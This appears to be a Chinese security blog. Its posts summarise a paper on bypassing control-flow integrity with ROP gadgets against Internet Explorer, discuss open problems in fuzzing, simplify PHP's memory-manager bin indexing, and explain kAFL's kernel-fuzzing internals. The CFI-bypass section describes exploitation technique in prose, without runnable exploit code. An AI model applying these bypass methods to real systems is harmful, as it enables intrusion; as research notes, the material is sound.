2020-09-28

paper

Out Of Control: Overcoming Control-Flow Integrity

~~PS:读的同学需要有一点ROP的基础~~

Abstract

Abstract—As existing defenses like ALSR, DEP, and stackcookies are not sufficient to stop determined attackers fromexploiting our software, interest in Control Flow Integrity (CFI)is growing. In its ideal form, CFI prevents any flow of controlthat was not intended by the original program, effectively puttinga stop to exploitation based on return oriented programming(and many other attacks besides). Two main problems haveprevented CFI from being deployed in practice. First, many CFIimplementations require source code or debug information thatis typically not available for commercial software. Second, inits ideal form, the technique is very expensive. It is for thisreason that current research efforts focus on making CFI fastand practical. Specifically, much of the work on practical CFI isapplicable to binaries, and improves performance by enforcing aloosernotion of control flow integrity. In this paper, we examinethe security implications of such looser notions of CFI: are theystill able to prevent code reuse attacks, and if not, how hard is itto bypass its protection? Specifically, we show that with two newtypes of gadgets, return oriented programming is still possible.We assess the availability of our gadget sets, and demonstratethe practicality of these results with a practical exploit againstInternet Explorer that bypasses modern CFI implementations.

0x00 文章的贡献点

评估现有的CFI技术，证明它们并不能有效的防御一些高级的ROP攻击
提出一种针对CFI的普遍绕过技术
在realworld里面使用了这种技术

0x01 CFI技术背景

理想CFI

所有的程序控制流传输过程可以分为：直接跳转(direct jmp)和间接跳转(indirect jmp)，direct jmp是硬编码的一个fixed address，所以没必要对它做额外的检测，而indirect jmp指向目标可能并不固定，这时候需要根据程序本身的CFG或者CG收集一张可能指向的目标地址列表，在跳转之前插桩检查实际目标地址是否在这个列表里面。对每一个可能成为target的instruction设置一个unique id，前面这张表就可以存储目标地址所在的instruction的unique id.

构建理想状态下CFI会有一些问题: 比如需要绝对精准的CFG和CG图，同时还有一个不能忽视的问题是性能问题，例如target list 是一个很长的表，可以想象频繁调用这个indirect jmp可能带来的问题。
部分CFI

尝试聚合unique ID，没有必要给每一个可能成为target的instruction设置一个unique id. 同样完整的CFG也是重中之重（pointer analysis 就显得尤为重要），那么怎么解决这个问题呢？研究人员想了一个非常极端的方法，将控制流可能传输到的位置分类，主要是根据indirect jmp的类型: function calls,returns ,indirect jmps. 所有把indirect calls target 定为 functions，把ret target 定为 instructions follow funtions call（注意这里的函数是指所有出现在当前程序里面的函数），前面这一串叙述就是在说indirect call的目标地址只能是函数的开头和ret指令的目标地址只能是某个call指令后面的指令.

这个解决方案，个人觉得算是一种妥协吧，把所有合理的indirect jump target都收集起来，针对这个方法，后续就提出一些有趣的改进，transfer 意味着传输关系的start端：
weekness

作者在文中提出了一个ideal CFI下依然存在的缺陷，就算是完整的CFG，也不能提供运行时的sensitive context，我举个小例子，a -> b，c->b都可达，在实际runtime阶段调用a->b,但是b在return的时候并不能保证它的return到caller也就是a，因为这个静态CFG提供的映射关系并不是单射。在更普通的情况下，如果只用两个IDs来实现CFI，其中红线就是可能会出问题的地方。

0x02 在CFI下实现ROP

CFI下可用的gadget
1. Call-side gadgets : 紧跟着call/indirect jmp 指令后面的gadgets
2. Entry-point gadgets: 函数入口处的gadgets
  
  这类gadget都是indirect 跳转下allowable target的开头，不同于正常情况下的gadget，它们的起始需要一点限制，并且这可能导致这些gadgets的大小变的不可控。作者提到这种gadget中还可能包含一些分支路径，如果这些分支路径的条件我们可控，那么是可能去跳过执行某些代码，这可以使得一个gadget多用.
  
  文中将CS类型和EP类型组合而成的gadgets具体的分为了18种，对一个具体gadget的prefix，body和suffix分别进行分类. 这样做的目的是刻画执行一个gadget时控制流可能发生的状态. 如下表:
如何调用函数？
1. 直接通过indirect call ：因为indirect call总是允许调用存在的函数，这里的前提是我们有机会直接控制这个call的target。CFI规则越松散，越多的函数我们可以调用。
2. 通过gadgets里面的call指令：直接用一张图来说明：
特别的说一下中间这种gadget可能允许我们访问敏感函数，例如CCFIR就对敏感函数做了特殊的处理。
如何连接这些gadgets？

这些gadgets 连接过程需要非常特殊，如果你可以控制ret的目标地址，那这个目标地址就只能是CS后面的指令。

同样如果你可以控制indirect call的目标地址，那这个目标地址就只能是函数入口，也就是说无法做到任意链接，这里的链接过程是有限制的。

CS和EP两种gadget之间是可以相互转换的，例如EP 转CS：

这里有一个细节需要注意，也就是注释框里面提到的，B函数中间的这个indirect call必须要这个ptr合法，这也是前面我提到的为什么要细分两种gadget的中间指令。下面是CS转EP的过程：

从ROP到代码执行

单纯的用ROP来实现getshell是比较难的，文章作者思路是用ROP调整page的权限，然后写shellcode，最后通过间接跳转执行这段shellcode。

0x03 Do it at Realworld

这一节作者利用了一个ie 浏览器的堆溢出来说明他的方法是可行的，关于漏洞具体构造需要自己手动实践，在这里我主要记录几个有意思的东西。

Springboard section

CCFIR里面使用了这个东西，这个东西是一个indirect call的跳板：

可以看到这里一个indirect call首先变成了一个direct jmp，跳到了这个特殊的Springboard section上，这个设计还是比较精妙的，在这个特殊的section上全程是没有动栈的结构，所以在ret的时候可以不用担心。那么在这种机制下面，check的条件就发生了变化，首先indirect call和ret的目标地址都是在Springboard section上的而且是对齐的，这就对使用gadget来实现函数调用提出了更高的要求，在实现上通过重定位和导出表的信息把指定函数位置替换成了CCFIR自定义的stub地址，其中还提到这个stub位置在加载时候是随机的，这函数调用变得更加困难了，意外着你必须首先泄露这些stub的信息。
主要实现细节

通过这个堆异常，给了attacker控制一个indirect jmp的机会，但是为了实现ROP，作者尝试把这个indirect jmp 变成 retn ，但是还需要一个stack pivoting (我称之为切栈小助手)来保证你有一个可控的栈来执行更多的gadget，后面就是相关函数调用。这里面出现了几个有趣的问题：
1. 为什么要把这个可控的indirect jmp转换成可控的retn？这过程中遇到了哪些问题？
  
  因为前面我们知道，indirect jmp 只能衔接EP类型的gadgets，但是EP类型gadgets实际并不好利用，CS类型gadgets相对来说更好利用，而且比较多，为了用CS类型的gadgets，就必须需要一个可控的ret才行。
  
  作者通过四个gadgets完成了这件事，在堆溢出这个地方，indirect call控制的是ecx，这个要先了解一下，最后，让我们来一起用欣赏的眼光来看看这四个gadgets！
  
  这是图中第一个EP-IC gadget，ecx是我们可控的，间接导致来edi我们可控，最后这个indirect call可控。
  
  这是图中第二个EP-IC gadget，在这个gadget里面没有改变edi的值，edi还是可控的，所以现在还可以控制栈最后结构，最后这个call依赖于eax，而eax同样是被ecx控制。
  
  图中第三个EP-R gadgets，可以用简洁有力来形容，还可以控制返回值。这个gadget主要来用来应对突然出现的indirect call不会报错和其他副作用，就单纯的直接return到caller。
  
  图中最后一个EP-IC-R gadgets，第三个gadget 就可以用在第9行，防止这个多余的indirect call造成其他的影响，这个返回值是否可控依赖于eax，但是这个eax是从是栈上获取的，而且是第一个参数，而这个参数已经在第二个gadget中被控制了，所以最终就完成了对ret的控制。
  
  整个过程用的gadgets虽然不多，都是都比较精妙，非常值得学习！

stack pivoting

有了可控的ret之后，现在可以用CS 类型的gadgets了，为了回到正确的ROP道路上，还需要一个fake stack，注意到在前面的最后一个gadget中，ebp已经是可控了的，因为在pop之前，push 的这个eax是可控的。所以接下来需要改esp，作者找到了一个非常好的stack pivoting，可以直接把esp覆盖成ebp。

这样就有了完全对stack的控制，后面就是正常通过CS gadgets构造的ROP过程。

0x04 Evaluation

作者分析了164个PE文件，提取CS和EP类型的gadgets：

可以看到这一类的gadgets是比较普遍的，CS类型的gadgets要普遍多余EP类型的gadgets，这也是为什么前面要把indirect call 变成ret的主要原因。作者为了执行代码，主要使用了memcpy 和 VirtualAlloc，用来调整page的权限和写入shellcode，同样也分析了一下其他PE文件里面这类包含这些函数调用的gadgets：

虽然不多，但是有！也能说明一些问题。

0x05 Discussion

一些其他缓解措施：

kBouncer 通过监控进程来检查函数返回地址是否在call指令后面，这一技术需要硬件的支持（Last Record Branch），其还支持一种启发式的算法，用来检查在没有call的情况下频繁的return操作，这样完全用CS-R构造的ROP chain就没法用了，但是CS-IC-R或者CS-F-R还是有可能骗过这个算法的。

G-free 通过二次编译，用一些转换公式消除gadgets，并且不允许直接跳到某个函数中间执行代码。这个方法几乎把所有CS类型的gadgets都整没了。但是EP类型的gadgets依然奏效，但是实际上仅用EP来构造exp在实际中是比较难的。
一些可行缓解措施在最早的CFI工作中，为了在运行时来实现CFI，构造了一个shadow stack,来保存所有的返回地址，但是这种方法被一些编译优化打破，并不是每一个call都有一个ret所匹配，导致无法在某些情况track the stack。

ROPDefender 也是一种构造shadow stack的方法，但是它关注的是call-ret的匹配，因此如果一个ret没有被相应的call匹配到，就直接报错了，但是也会被上面的情况所影响。

CFL（Control-Flow Locking）通过锁的方式来保证CFI，在indirect tranfer之前lock，如果是合理的target则执行unlock操作，locks和unlocks是配对的，基于源代码的CFG形成的。作者认为这种方法在未来是可行的，可以有效的防治它们的攻击，但是缺陷是如果没源码就做不了。

2020-09-20

paper

Fuzzing: Challenges and Reflections

0x00 自动化

需要更多的fuzz工具，针对不同类型的对象，the questions：
- 如何fuzzing有状态交互的对象？e.g. 协议
- 如何fuzzing用同时使用多种语言编写的程序？
- 如何fuzzing图形化程序？(输入可能是用户接口的事件队列)
- 如何将符号执行应用到输入是高度结构化的对象上？（通常来说符号执行约束对象是数值或者字符串序列）
如何去发现更多类型的bug？
- 不应该局限于crash带来的影响，需要更多不同的类型类似AddressSanitizer的东西，在合适的时间和合适的位置，添加合适的assertion。
- bug的类型通常比较局限于fuzzing对象所实现的语言，大部分可能集中在c/c++，我们更应该关注其他语言可能带来的特性，从更上层的观念来看bug的形成，而不是又把它们翻译成c/c++。
如何去发现更深层次的bug？(这样的bugs通常满足复杂的触发条件)，下面是一些有趣的解决方案。
- 基于结构感知和语法模版的fuzzer
- 基于静态分析和符号执行的灰盒fuzzer
- 基于静态patch的fuzzer
- 更有效的错误发现策略
- 基于bugs优先级的策略（种子优先级？）
需要更多的对bug的认知经验

经过长时间的fuzzing，为什么这些bugs没有检测出来？究竟是什么让它们无法触发？需要自身去实际分析这些bugs的本质，并将它们区分出来。

fuzzer从来都不是一个黑盒子！
- 许多人认为我们只需要人为对fuzzing初始阶段做一些准备，然后安静的等待结果，把fuzzer想象成一个黑盒子，但是实际上它并不是一个这样的黑盒子，更重要的是我们应该能在某个时刻去干预它，让它在我们预期的道路上，越走越远！
- 如何让fuzzer和安全人员之间以一种更有效的方式交互呢？
- 如何让安全人员在fuzzer运行过程中动态的去干预它呢？
- 如何让fuzzer以更直观方式告诉安全人员，它们遇到的一些难以继续进行的阻力？或者说安全人员如何帮助fuzzer去解决这些阻力？
如何增强fuzzer的易用性？
- 各种版本的fuzzer层出不穷，在尝试使用这些fuzzer的时候，我们需要对它有一个完整的认识，这个过程是有学习成本的，如何快速的认知到底这个fuzzer适不适合我去花时间和成本去了解它的内在原理？（减少学习成本）
- 如何让开发者和软件工程师去更便捷的使用它？（面向人群可能不仅仅是安全人员）
- 如何快速的利用一些test driver去尝试体验fuzzer？
- 尝试把fuzzer放到CI或者IDE？
- 如何打印出更详细的bug reports，让使用者能快速的知道哪里出问题了，出现的是什么类型的bug？

0x01 Fuzzing 论

It is important for any discipline to stand on a firm scientific foundation

有许多前沿的fuzzing技术，但是如何证明某种方法就一定比其他的方法要好呢？这些方法的局限性是什么？我们需要去解释这些方法所产生的结果，并能从结果中做出推断。为了实现这些，我们迫切需要有一个完整针对fuzzing的理论模型。

当fuzzing过程失败的时候，如何去评估剩余的威胁等级？ （失败可以理解为fuzzing结束没有得到相关的bugs结果）

如果从黑盒测试和白盒测试两个角度来看这个问题，当你使用的是黑盒测试，如果这个时候没有bugs report产生，相对于白盒测试来说，说明剩余威胁等级低的可信度一定是比较小的。进一步我们想象在最理想的环境下，在白盒的基础上用符号执行，把所有路径都能枚举到，并且在每一条路径上都添加assertion，那么它的结果就一定可以作为我们评估的标记，可实际上并不存在。（如果有这样一个god存在，它不需要告诉我哪里有漏洞，只需要告诉我有多少个，那该多好啊！）

如果把不同类型fuzzer说明问题的能力，用一条光谱来表示，那么黑盒测试和白盒测试一定是位于这条光谱的两端。前面说了一下如何通过白盒方法去理想的验证剩余威胁度，当然黑盒情况下，我们也能通过一些方法说明问题，把黑盒测试想象成对程序输入空间的一个随机抽样，通过统计学的方法建立威胁评估。

同样介于黑盒测试和白盒测试之间，还存在灰盒测试，灰盒测试通过程序反馈来构建比黑盒更有效的输入，但是如何通过程序反馈来区别于黑盒测试的评估过程？（我想程序反馈的引入，相对于提供了一种映射存在，映射的存在直接导致是等价关系的产生，使我们能缩小程序的输入空间，这种映射是很自然的满射，如果用代数的思想去看代它，类似同态，但是这个特殊的代数结构它的二元关系怎么定义呢？即输入和输入如何建立运算呢？非常值得探索！很多fuzzer输入和输入之间都是独立的！）。

说了这么多，其实最后我们希望能有一个完整的理论框架来帮助我们去回答这样的种种问题，让其中的方法更加的general。
黑盒fuzzing，灰盒fuzzing，白盒fuzzing它们的理论限制是什么呢？

在一般情况下，fuzzing的速度上黑盒 > 灰盒 > 白盒，但是在效果上白盒 > 灰盒 > 黑盒。这将会导致一些问题的解决方式：
1. 如果给定时间限制，我们应该如何选择不同的fuzzing技术？或者说通过组合不同的技术？目的是让其在指定的时间内，找到更多的漏洞！
2. 被测程序的文件大小和复杂度是否会影响不同fuzzing技术的适应性和性能？
3. 如果拥有的计算资源提升，对fuzzing效率是一种怎样的增长？
通过理解不同现存fuzzing的理论限制，我们就能去尝试回答上面的一些问题，并且开发出更有效的fuzzing技术！

0x02 评估和基准测试

当一个新的fuzzing技术横空出世的时候，我们需要用完整的方法去评估它。一般来说，我们常常关注它是否能在合理的时间中找到更多有趣的bugs （the better fuzzer）。那么问题就来了，“合理的时间”，“有趣的bugs”，如何去用更本质方法的描述呢？如何防止过度拟合呢？合适的基线对照组应该是什么呢？如何比较它们的effectiveness和efficency

如何评估一些特殊的fuzzers？

现存的基准测试方法可能无法覆盖所有的不同类型的被测系统，在这种没有情况下，我们就代表研究者去选择合适的程序和基线对照组。
如何防止benchmark过度拟合？

将不同类型的fuzzer的benchmark分类，让所有的研究者来维护它，种做法主要是为了防止单一的组织对benchmark的过度控制（透明且多样）。其实1,2两个问题都可以归纳到如何解决Fuzzing工具相互竞争？其中一种方法是将不同类型的fuzzer分类，同一范畴下相互比较，例如基于覆盖率的fuzzing，指向型fuzzing等等。未来也许可以进一步在范畴下根据检测bugs类型和程序类型再划分。另一种方法是让fuzzer去处理一些challenge problems，其中里面是藏着一些经过精心设计的bugs，fuzzer的设计者只需要负责将自己的工具调整到最佳状态。
人造的bugs是否说明问题？

synthetic =？real world
fuzzer 发现的real world bugs是否之前已经被发现了？是否有代表性？

建立被fuzzer发现的漏洞数据库
覆盖率是否真的是一个用于测量fuzzer effectiveness好的度量？

覆盖率的增长对发现漏洞可能性增长是怎样一种关系？
什么是合理的时间预算？

时间的增加是否影响漏洞被发现的可能性？相同时间下，发现的漏洞数量，是一种测量effetiveness的方法，但是这个时间应该如何去做限制呢？
How do we evaluate techniques instead of implementations？

自己的观点

最大的感触就是“Human in the loop”，我把它翻译成了Fuzzing从来都不是一个黑盒子，这一点我自己深有感触，在做实际做东西当产品用的时候，却偏偏让你做成一个黑盒子，这一类的安全产品实际上并不是给完全不会安全的人用的，这一点要特别明确。但是让安全产品快速的让普通的程序员，就马上使用，在未来依然是一个很大的挑战。关于evaluate的东西我记录的很少，因为我总觉得没有一个规范的东西在那里，也许小领域也就这样，没有完整而坚实的理论基础，Fuzzing未来的路真的还有很远要走。

2020-08-16

php

尝试化简php-mm中关于small_bin的index计算

#include<stdio.h>

int zend_mm_small_size_to_bit(int size){
	return (__builtin_clz(size) ^ 0x1f) + 1;
}

int php(int size){
	unsigned int t1, t2;

	if (size <= 64) {
		/* we need to support size == 0 ... */
		return (size - !!size) >> 3;
	} else {
		t1 = size - 1;//311
		t2 = zend_mm_small_size_to_bit(t1) - 3;//
		t1 = t1 >> t2;
		//printf("t1:%d\n",t1);
		t2 = t2 - 3;
		t2 = t2 << 2;
		//printf("t2:%d\n",t2);
	return (int)(t1 + t2);
	}
}

int my0(int size){
	unsigned t1,high,offset;
	t1 = size-1;
	high = zend_mm_small_size_to_bit(t1)-1;
	offset = (t1 - (1<<high) + (1 << (3+high-5))) >> (3+high-5);
	//printf("offset:%d\n",offset);
	return offset + ((high-4)<<2)-1;
}

int my1(int size){
	unsigned t1,high,offset;
	t1 = size-1;
	high = zend_mm_small_size_to_bit(t1)-1;
	offset = (t1 - (1<<high) + (1 << (high-2))) >> (high-2);
	//printf("offset:%d\n",offset);
	return offset + ((high-4)<<2)-1;
}


int my2(int size){
	unsigned t1,high,offset;
	t1 = size-1;
	high = zend_mm_small_size_to_bit(t1)-3;
	offset = (t1 - (1<<(high+2)) + (1 << (high))) >> (high);
	//printf("offset:%d\n",offset);
	return offset + ((high-2)<<2)-1;
}

int my3(int size){
	unsigned t1,high,offset;
	t1 = size-1;
	high = zend_mm_small_size_to_bit(t1)-3;
	offset = ((t1 - (1<<(high+2))) >> (high)) + 1;
	//printf("offset:%d\n",offset);
	return offset + ((high-2)<<2)-1;
}


int my4(int size){
	unsigned t1,high,offset;
	t1 = size-1;
	high = zend_mm_small_size_to_bit(t1)-3;
	offset = ((t1 - (1<<(high+2))) >> (high));
	//printf("offset:%d\n",offset);
	return offset + ((high-2)<<2);
}


int my5(int size){
	unsigned t1,high,offset;
	t1 = size-1;
	high = zend_mm_small_size_to_bit(t1)-3;
	offset = (t1 >> high) -(1<<2) ;
	//printf("offset:%d\n",offset);
	return offset + ((high-2)<<2);
}


int my6(int size){
	unsigned t1,high,offset;
	t1 = size-1;
	high = zend_mm_small_size_to_bit(t1)-3;
	offset = (t1 >> high);
	//printf("offset:%d\n",offset);
	return offset + ((high-3)<<2);
}


int main(){
/*
8,16,24,32,40,48,56,64 (+8) 
80,96,112,128 (16)
160,192,224,256 (32)
320,384,448,512 (64)
640,768,886,1024 (128)
1280,1536,1792,2048 (256)
2560,3072 (512)
*/
	printf("%d\n",my6(2600));
	printf("%d\n",php(2600));
	return 1;
}

small_index在8-64之前按8递增，所以直接除8即可（考虑size==0的情况，!!0==1）

对于t1和t2的我理解是：t1表示区间偏移，t2区间。整体上区间可以划分位(1-64],(64,128],(128,256],(256,512],(512,1024],(1024,2048],(2048,3072]

第一个区间按8划分偏移，第二个区间按16划分偏移，，，，

可以看出来是有规律的，需要申请的内存大小可能落在其中一个区间里面，区间里面在细分。

如果要判断落在那个区间，直觉上要看size最高位的1落在哪个地方，举个例子如果落在2^6上，则一定在(64,128]上(假设已经排除了<=64)。

最高位用bsr算，则为第7bit位，我们需要再算它在这个区间上的偏移，需要先减去前一个区间最大的binsize，然后再除以现区间的划分size。

2020-07-30

paper

kAFL: Hardware-Assisted Feedback Fuzzing for OS Kernels

0x00 贡献点：

系统无关
基于硬件的状态反馈
可扩展和模块化
开源

0x01 在未读文章之前心里的几个问题：

怎么做到的系统无关？在给kvm和qemu都下patch的情况下？难道是linux kernel作为直接作为host VMM吗？再通过qemu进行系统无关的测试？
什么是agent？
fuzzing kernel的时候输入是什么？
hypercall是怎么设计的？
fuzzer kernel 发生系统级别的crash怎么办？或者说怎么定义在kernel的crash（像二进制那样）
整个系统虚拟化的构建是怎么样的？
如何利用intel PT？
关于qemu-pt相关patch的实践？
最后也是构造了AFL里面的bitmap，那么如何通过intel PT的数据来构造的？

0x02 通过阅读得到的答案

Agent 是什么？

全称User Mode Agent，它运行在虚拟化的系统中，用于通过hypercall 同步fuzzing逻辑的输入和输出，比如你想测试一个文件系统，那么输入就是文件映像，通过挂载文件映像，来实现对内核的输入。

实际上在实践中，还存在一个loader组件，用于接收所有通过hypercall传输的二进制，这些二进制就代表 user mode agent，这些二进制通过loader来执行。这样策略是得可以重用一个VM的快照，通过传输不同的二进制。

这里我其实还有一个问题，这里面有两个agent，一个agent 负责运行用来处理payload的另一个agent。那么第一个loader agent是怎么放到vm里面并且运行起来的？这个过程出现在https://github.com/RUB-SysSec/kAFL主页，需要自己封装一个vm，在里面运行loader agent，然后创建一个快照。
整个系统虚拟化的构建情况

fuzzing主要逻辑就是通过qemu-pt和kvm-pt交互来运行目标VMs。

关于物理cpu，逻辑cpu，虚拟化cpu的结构定义：物理cpu就是指硬件cpu，逻辑cpu指通过物理cpu衍生出来逻辑上的cpu，一个物理cpu可能对应多个逻辑cpu，当某一个时刻只有一个逻辑cpu在运行，而虚拟化的cpu是指，虚拟机使用的cpu，在逻辑cpu上又分化出来的东西

kvm-pt 和 qemu-pt交互主要用于inter pt的操作。kvm-pt给qemu-pt传输相关的trace信息，trace的解码过程发生在qemu里面，还涉及到trace相关的过滤问题。
如何利用intel PT？

首先通过一个特殊MSR（model speical register）IA32_RTIT_CTL_MSR.TraceEn 打开，然后做一些关于filter的选择。这个trace针对的是一个逻辑cpu，所以针对它的修改必须发生在cpu把host context切换到vm context上，关闭trace的操作即相反。

intel PT的需要一些配置项来支持，也是通过设置其他的MSR来完成的，为了避免收集一些不必要的trace信息，通过intel vt-x来在VM-entry和VM-exit来自动自动加载这些配置项。

那么存储trace信息的结构是什么？在配置的时候会选择一个物理地址，trace信息会不断的写入这个物理地址，直到被写满。这个buffer被一个叫 Table of Physical Addresses数组结构管理，这个数组可以存储很多元素，结尾有一个End 元素。

文中还考虑了一个溢出的问题，为了避免溢出造成的trace丢失，这里使用了两个ToPA元素，当一个被填充满时，会触发一个中断，当中断传递到位时可以接着使用第二个buffer，如果第二个buffer也被填满了，将直接导致trace 停止。第二个buffer大小的选择是作者在实践中遇到溢出最多的trace info的4倍。后面如果第二个够buffer被填满以后，可以动态的调整第二个buffer的大小来满足所有的trace 信息。
关于qemu-pt中相关patch的实践？

首先qemu作为fuzzer和kvm的中间连接点，如果想了解整个系统的过程，必须弄清楚qemu在其中的担任的角色。从fuzzer和qemu的交互开始，qemu-pt在注册了一个新的pci device，这个新的device负责在qemu的启动的时候，建立fuzzer和vm的联系。
1
"-chardev socket,server,nowait,path=" + self.control_filename + \
qemu 通过这个本地的socket和 fuzzer进行交互。这个fuzzer只通过这个socket进行对qemu的行为控制，agent 二进制，bitmap，payload的传输还是通过shm来交互。
1
2
3
"-device kafl,chardev=kafl_interface,bitmap_size=" + str(self.bitmap_size) + ",shm0=" + self.binary_filename + \
",shm1=" + self.payload_filename + \
",bitmap=" + self.bitmap_filename

VM-exit 之后kvm和qemu的交互是怎么样的？

这个过程涉及到kvm的异常处理，例如当hypercall导致的VM-exit，kvm中vmx驱动有一个专门响应不同情况下VM-exit的handler：

这里hypercall对应的就是handle_vmcall -> kvm_emulate_hypercall,在这个里面处理各种来自ring0或者ring3的hypercall。vmcall有几个相关的寄存器，其实类似syscall，以kafl打的patch为例:

这是一个处理来自ring3的请求，即agent的请求，rax里面代表kafl相关的hypercall，rbx则代表了agent的相关需要，其中exit_reason代表了VM-exit的原因，后面则是相关需要返回给qemu的参数值。

而在qemu里面有一个闭环，这个闭环发生在kvm_cpu_exec里面,这里闭环我简略成下面的形式：

do{
  ...
	run_ret = kvm_vcpu_ioctl(cpu, KVM_RUN, 0);
	switch (run->exit_reason) {
				case KVM_EXIT_KAFL_ACQUIRE:
            handle_hypercall_kafl_acquire(run, cpu);
            ret = 0;
            break;
        case KVM_EXIT_KAFL_GET_PAYLOAD:
            handle_hypercall_get_payload(run, cpu);
            ret = 0;
            break;
        case KVM_EXIT_KAFL_GET_PROGRAM:
            handle_hypercall_get_program(run, cpu);
            ret = 0;
            break;
		...
  }
  
}while(ret==0)

qemu就负责处理来自kvm的返回信息，处理完成，进而又让vm重新运行起来。

qemu是怎么把guest virtual address转化成在qemu可以写入（读）的地址？

kafl 整体上是qemu和kvm交互，然后在客户os里面放了一个agent，这个agent负责对客户机进行输入，同时接收来自qemu传递的payload，为了实现agent的功能，它们在kvm里面搞了几个特殊的ring3级别的hypercall。agent进行vmcall 系统调用的时候，这个vmcall和syscall类似会被kvm捕捉到。比如现在agent 需要payload输入了，就弄一个vmcall告诉kvm，同时附上这个输入payload的地址，这个地址就是客户机的虚拟地址，kvm捕捉到了这个hypercall把信息返回给了qemu，然后qemu要向这个客户机的虚拟地址（gva）写入payload。

在写的时候，我发现它里面逻辑似乎有点问题的，客户机的物理地址实际都是qemu的给定的，在对gva进行写入的时候，需要先把gva转化成客户机的物理地址（gpa），gpa就对应了qemu给定的宿主机的虚拟内存。

在写的时候，如果数据比较大，需要分页写入，因为x86里面的内存交换大小是0x1000。比如写入往0x10010写入0x2000的数据，首先要去找0x10000对应的客户机物理地址phyadr，然后往phyadr+0x10 写入 0x1000-0x10的大小的数据。相对于写了0x900,还剩下0x1100，那么接下来需要去找0x11000对应的客户机物理地址，再循环写入。

但是看kafl里面qemu关于对客户机虚拟地址写入的相关代码：

bool write_virtual_memory(uint64_t address, uint8_t* data, uint32_t size, CPUState *cpu)
{
		int asidx;
		MemTxAttrs attrs;
    hwaddr phys_addr;
    MemTxResult res;

    uint64_t counter, l, i;

    counter = size;
		while(counter != 0){
				l = x86_64_PAGE_SIZE;
        if (l > counter)
            l = counter;

				kvm_cpu_synchronize_state(cpu);
        //cpu_synchronize_state(cpu);
        asidx = cpu_asidx_from_attrs(cpu, MEMTXATTRS_UNSPECIFIED);
        attrs = MEMTXATTRS_UNSPECIFIED;
        phys_addr = cpu_get_phys_page_attrs_debug(cpu, (address & x86_64_PAGE_MASK), &attrs);

        if (phys_addr == -1){
            printf("FAIL 1 (%lx)!\n", address);
            return false;
        }
        
        phys_addr += (address & ~x86_64_PAGE_MASK);   
        res = address_space_rw(cpu_get_address_space(cpu, asidx), phys_addr, MEMTXATTRS_UNSPECIFIED, data, l, true);
        if (res != MEMTX_OK){
            printf("FAIL 1 (%lx)!\n", address);
            return false;
        }   

        i++;
        data += l;
        address += l;
        counter -= l;
	}

	return true;
}

用我们之前的例子，这里的size是0x2000，l的大小是页大小0x1000，按照第一个条件这里1是小于counter大小的，所以写入长度为l的大小0x1000，但是我们前面正常逻辑这里一个是写入0x900，因为是从0x10010开始的，写入0x1000超过了一张物理页的大小。所以这里还应该考虑一下剩余页大小，读的时候也有这个问题。

如何利用intel PT的数据来构造和AFL里面关联edge的bitmap？

这个其中详细技术细节在原论文中并没有太多的介绍，我自己通过翻intel 手册里面关于processor trace的相关资料，能大概的知道整个技术细节。首先需要从intel PT output的数据结构开始。在kafl中只重点关注三种packet：
- TNT ：条件分支，taken or ont taken
- TIP ：间接分支，异常，中断和其他分支或者事件的目的IP。
- FUP：异步事件（中断或者异常）的源IP。
后面两种其实合为一种，都是只管关注IP属性，简单介绍一下三种数据包的结构：
- TNT ：每个条件指令的token or not taken用1bit的1和0来表示，TNT又有两种分组：分为short TNT（1字节）和 long TNT（8字节），short TNT可以最多包含6个bit TNT，long TNT可以最多包含47bit TNT，结尾用1标志或者stop bit。
- TIP：包大大小9字节，第一个字节包含TIP类型标示位和IP压缩的类型。
  
  这个IP压缩策略，意味目标IP的大小是多样的，用IPBytes来表示压缩策略，IP压缩通过与上一次的IP相互进行比较来生成当前IP，比如上一次IP（last_ip）和这一次IP有同样的高位字节，就可以只记录一次高位字节，压缩的原理就在于压缩高位字节，所以decoder在解码的时候需要记录last_ip,来生成每一次TIP里面的经过压缩的IP真实数据，IP压缩策略有下面几种：
- FUP的结构是TIP上一样的，这里就省略了。
  
  可以通过intel手册上一个例子，来比较形象的体会这样的trace 信息。
可以看到上面三种trace信息中，是无法直接利用的，我们需要准确的指令位置和目标地址，当时intel trace信息是充分考虑了效率，对于条件分支为什么只需要记录taken 信息就够了？因为上面例子可以看到，对应的二进制指令是有准确的目标地址的，所以不需要再额外记录。所以这也是为什么qemu-pt中除了pt-decoder以为还需要，反汇编的阶段。

利用intel PT的ip filter功能，可以把trace 信息集中在某个具体的二进制中，就给我们的反汇编提供了地方。在qemu-pt也是这么做的：
1
2
3
4
5
6
buf = malloc(ip_b-ip_a);
if(!read_virtual_memory(ip_a, buf, ip_b-ip_a, cpu)){
printf("FAIL 2\n");
free(buf);
return -EINVAL;
}
再讲intel PT的trace 信息和反汇编的结构结合起来，就能准确的描述每一个分支指令所在的地址和目标地址，这样就有了edge，有了edge就可以翻译成AFL相关的bitmap。kafl在这里利用了一个map结构，把相关汇编指令结构缓存了起来，可以在第二次fetch相关指令的时候直接使用，减少了intel 直接出品的lib runtime dasm的消耗。

The input and crash handler of fuzzing kernel

对内核输入，取决于你要测试对像，例如你要测试文件系统，那么你输入就是需要挂在的文件映像，挂载过程通过agent来实现。

怎么捕获内核的crash 和 panic？在kafl里面通过agent 找到相关kernel自身的异常处理handler地址，再把这个地址替换成自己的handler，这个过程通过hypercall来实现，比如在linux kernel下

loader agent 先找系统自身的错误处理,在通过hypercall发送给kvm，kvm再发给qemu：

panic_handler = get_address("T panic\n");
printf("Kernel Panic Handler Address:\t%lx\n", panic_handler);

kasan_handler = get_address("t kasan_report_error\n");
if (kasan_handler){
	printf("Kernel KASAN Handler Address:\t%lx\n", kasan_handler);
}

kAFL_hypercall(HYPERCALL_KAFL_SUBMIT_PANIC, panic_handler);
if (kasan_handler){
	kAFL_hypercall(HYPERCALL_KAFL_SUBMIT_KASAN, kasan_handler);
}

qemu把它们替换成ring0级别的hypercall：

/*
 * Panic Notifier Payload (x86-64)
 * fa                      cli
 * 48 c7 c0 1f 00 00 00    mov    rax,0x1f
 * 48 c7 c3 08 00 00 00    mov    rbx,0x8
 * 48 c7 c1 00 00 00 00    mov    rcx,0x0
 * 0f 01 c1                vmcall
 * f4                      hlt
 */
#define PANIC_PAYLOAD "\xFA\x48\xC7\xC0\x1F\x00\x00\x00\x48\xC7\xC3\x08\x00\x00\x00\x48\xC7\xC1\x00\x00\x00\x00\x0F\x01\xC1\xF4"

/*
 * KASAN Notifier Payload (x86-64)
 * fa                      cli
 * 48 c7 c0 1f 00 00 00    mov    rax,0x1f
 * 48 c7 c3 08 00 00 00    mov    rbx,0x9
 * 48 c7 c1 00 00 00 00    mov    rcx,0x0
 * 0f 01 c1                vmcall
 * f4                      hlt
 */
